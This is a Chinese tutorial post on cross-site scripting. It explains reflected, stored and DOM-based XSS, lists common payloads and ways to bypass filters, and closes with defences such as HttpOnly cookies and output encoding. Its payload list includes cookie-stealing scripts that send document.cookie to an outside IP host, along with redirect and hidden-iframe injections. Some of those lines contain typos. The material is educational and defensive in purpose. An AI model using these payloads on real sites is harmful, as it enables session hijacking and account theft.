渗透测试技术----常见web漏洞--跨站脚本攻击原理及防御

news/2024/5/18 22:39:44 标签: 反射型XSS, 存储型XSS, DOM型XSS, XSS防御, XSS攻击

一、跨站脚本攻击介绍

1.跨站脚本攻击简介
跨站脚本攻击(Cross-Site Scripting)简称为XSS(本来为CSS,但是与前端语言CSS容易产生歧义,故取名为XSS),XSS是一种针对于网站应用程序(Web客户端)的安全漏洞攻击技术,是代码注入的一种,它允许攻击者将恶意JS代码注入到网页,这样其他用户在访问网页时就会受到影响。攻击者利用XSS代码攻击成功后,可能得到一些高权限来执行一些操作,或者访问私密网页内容,获取会话和cookie值以及重定向到第三方,使用XSS也可以反弹shell。

2.XSS分类
XSS一共可以分为三类:反射型XSS存储型XSSDOM型XSS

二、跨站脚本攻击原理

反射型XSS

1.反射型XSS介绍
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。攻击者在提交的数据中可以构造代码来执行,从而实现用户信息等攻击。但是需要诱骗用户"点击"一个恶意链接,才能攻击成功。

2.反射型XSS攻击方法
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

3.反射型XSS的攻击原理

  • 获取cookie值
    在这里插入图片描述
  • 重定向到第三方网站
    在这里插入图片描述
存储型XSS

1.存储型XSS介绍
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性和稳定性。

2.存储型XSS攻击方法
这种攻击多见于论坛、博客、留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。这个帖子的内容连同恶意脚本也一并会被服务器保存下来,这样,当其他用户去访问这个帖子时,恶意脚本就会在他们的浏览器中执行。

3.存储型XSS的攻击原理

  • 获取cookie值
    在这里插入图片描述
  • 重定向到第三方网站
    在这里插入图片描述
DOM型XSS

1.DOM介绍
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态的访问更新文档的内容、结构及样式。HTML的标签都是节点,而这些节点组成了DOM的整体结构----节点树。通过HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有的HTML元素(节点)均可被修改,也可以创建或删除节点。
HTML DOM树结构如下图所示
在这里插入图片描述
在网站页面有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型XSS漏洞不需要与服务端交互,它只发生在客户端处理数据的阶段。

2.DOM型XSS介绍
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

3.DOM型XSS攻击方法
用户请求的URL是由攻击者专门设计的URL,其中包含着XSS代码。用户请求了这个包含XSS代码的URL后,服务器的响应不会以任何形式包含攻击者的脚本,服务器会向浏览器返回一个包含上面脚本的HTML静态文本,用户浏览器把HTML文本解析成DOM,由于这个HTML中包含着XSS代码,浏览器在处理这个DOM时就会执行XSS代码,这样就会产生DOM型XSS攻击。

4.三种XSS的区别
(1):反射型XSS:反射型XSS不会存放到服务器端,具有一次性,并且只有当用户点击了构造的URL后才会触发XSS攻击
(2):存储型XSS:存储型XSS会存放到服务器端,只要用户访问服务器就会触发XSS攻击
(3):DOM型XSS:DOM型XSS是一种特殊的反射型XSS,因此也具有一次性,但是DOM型XSS最大的区别就是DOM型XSS不需要与服务器端进行交互。

三、常用的XSS语句

  • 弹窗和重定向
<script>alert(/xss/)</script>
<script>alert('xss')</script>
<body οnlοad=alert('xss')>
<svg οnlοad=alert('xss')>
<img src=x οnerrοr=alert('xss')>
<a href='' οnclick=alert('xss')>type</a>
<a href=javascript:alert('xss')>
<a href=http://192.168.223.1>click</a>
<script>window.location="https://www.baidu.com"</script>
<iframe src='http://192.168.223.1/a.jpg' height='0' width='0'></iframe>
  • 获取cookie值
<script>new Image().src="http://192,168.223.1/c.php?output=" + document.cookie;</script>
<script>alert(document.cookie)</script>
<script src='http://192.168.223.1/cookie.js'></script>
cookie.js文件代码如下
var img = new Image();
img src = 'http://192.168.223.1/cookie.php?ccokie=' + document.cookie;

四、跨站脚本攻击挖掘方法

1.查找输入点与输出点的位置
2.判断过滤机制过滤了什么内容,例如过滤了<script>标签等等
3.构造payload绕过过滤规则

五、Bypass XSS过滤方法

情形一:<script>标签被过滤
(1):使用其他标签进行绕过
(2):使用大小写进行绕过
(3):使用<script>标签复写来进行绕过
(4):使用JS编码、HTML实体编码和URL编码来绕过

情形二:过滤了引号
(1):使用 / 来代替引号
(2):使用fromCharCode进行编码来绕过引号过滤
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text"value=’\’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>’>
(3):使用&quot;或者&#34;来绕过引号过滤
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>
(4):将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制
<script>eval(location.hash.slice(1))</script>#alert(‘a’)

情形三:过滤了空格
(1):这种情形可以使用%0d(回车)、%0a(换行)进行替换

<img%0dsrc=1%0dοnerrοr=alert(/1/);>

情形四:"=、()、;、:"被过滤
使用下面语句几乎可以通杀所有浏览器

<svg> <script>alert&#40/1/&#41</script>

六、防御跨站脚本攻击方法

1.对输入的数据进行过滤,包括“’”、“"”、“>”、“<”等特殊字符
2.可以使用HTTPOnly对cookie劫持进行限制
3.输入点检测
对用户输入的数据进行合法性检测,使用filter过滤敏感字符或对字符进行编码转义,对于特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现,如果放在浏览器端可能会被攻击者通过BurpSuite抓包进行绕过
4.输入点检测
对变量输出到HTML页面中时,对输出的内容进行编码转义,如果输出在HTML中时,对其进行HTML Encode转义,如果输出在Javascript中时,对其进行Javascript Encode。对使用Javascript Encode的变量就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML编码会优先于Javascript的解析,编码的方式也可能有所不同


http://www.niftyadmin.cn/n/1805567.html

相关文章

Linux命令之mkdir

mkdir [选项] 目录 若指定目录不存在则创建目录 (1).常用选项 -m&#xff0c;--mode模式 设置权限模式&#xff08;类似chmod&#xff09;&#xff0c;而不是rwxrwxrwx减umask -p&#xff0c;--parents 需要时创建目标目录的上层目录&#xff0c;但即使这些目录已存在也不当作…

渗透测试技术----常见web漏洞--跨站请求伪造攻击原理及防御

一、跨站请求伪造攻击介绍 1.跨站请求伪造攻击简介 跨站请求伪造(Cross-site request forgery)简称为CSRF&#xff0c;这是一种对网站的恶意利用。CSRF实际上就是攻击者通过各种方法伪装成目标用户的身份&#xff0c;欺骗服务器&#xff0c;进行一些非法操作&#xff0c;但是这…

性能测试需要完成什么

自动货构建更新系统、测试、收集分析数据、发送报告 需要进行三类测试&#xff1a;并发测试、压力测试、负载测试 需要得到指标&#xff1a;请求成功比例、tps、交易成功率、响应时间的均值和异常值比例、服务器的CPU、内存使用率转载于:https://www.cnblogs.com/caojuansh/p/8…

java,界面设计(请高手支招)

import javax.swing.*; public class MyFrame extends JFrame{piublic MyFrame(){this.setTitle("这是我第一个窗口");this.setSize(300,300);this.setResizable(false);this.setVisible(true); } public static void main(String args[]){MyFrame frame1new MyFram…

渗透测试技术----常见web漏洞--SQL注入攻击原理及防御

一、SQL注入攻击介绍 1.SQL注入攻击简介 SQL注入就是指Web应用程序对用户输入数据的合法性没有进行判断&#xff0c;前端传入后端的参数是攻击者可控的&#xff0c;并且参数带入数据库中查询&#xff0c;攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。 一般情况下…

渗透测试技术----常见web漏洞--SQL盲注攻击原理及防御

一、SQL盲注攻击介绍 1.SQL盲注简介 盲注是在SQL注入攻击过程中&#xff0c;服务器关闭了错误回显&#xff0c;我们单纯通过服务器返回的简单内容的变化来判断服务器是否存在注入。 2.SQL盲注的方法 (boolean-based)boolean型注入:通过页面的返回内容是否正确来验证是否存在着注…

项目的整体开发流程

1.项目运营过程2.总的项目开发过程3.项目过程要求4.开发过程5.项目初期问题6.开发人员的每迭代开发流程转载于:https://www.cnblogs.com/gispathfinder/p/8747917.html

09 匿名函数、函数作用域、闭包、递归

匿名函数&#xff08;lambda&#xff09; 语法规则&#xff1a; lambda 参数:表达式 filter(lambdax: x>10, li) 匿名函数&#xff1a;可以赋给一个变量&#xff0c;重复使用。 fun1 lambda x: x * 10 print(fun1(10)) 打印结果&#xff1a; 100fun (lambda x: x * 10)(5)…